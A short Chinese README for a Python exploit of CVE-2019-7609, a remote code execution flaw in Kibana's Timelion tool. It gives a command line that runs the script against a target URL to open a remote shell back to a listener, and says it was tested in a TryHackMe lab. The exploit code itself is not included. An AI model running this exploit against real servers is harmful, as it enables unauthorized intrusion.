CVE-2019-7609

基于 LandGrey 的代码 使用 python3.6+ 编写的 CVE-2019-7609 漏洞利用程序。

CVE-2019-7609：在 Timelion 可视化工具中，影响 Kibana 5.6.15 之前版本和 6.6.0 之前版本的远程代码执行漏洞。

使用方法

1. 启动监听器
2. 运行该利用程序，参数为目标 URL（Kibana 服务器的基本 URL）、监听主机地址和监听端口

./cve-2019-7609.py http://<target>:5601 <listener-ip> <listener-port>

3. 享受 RCE

示例

已在 TryHackme 的 Kiba 房间 上测试过。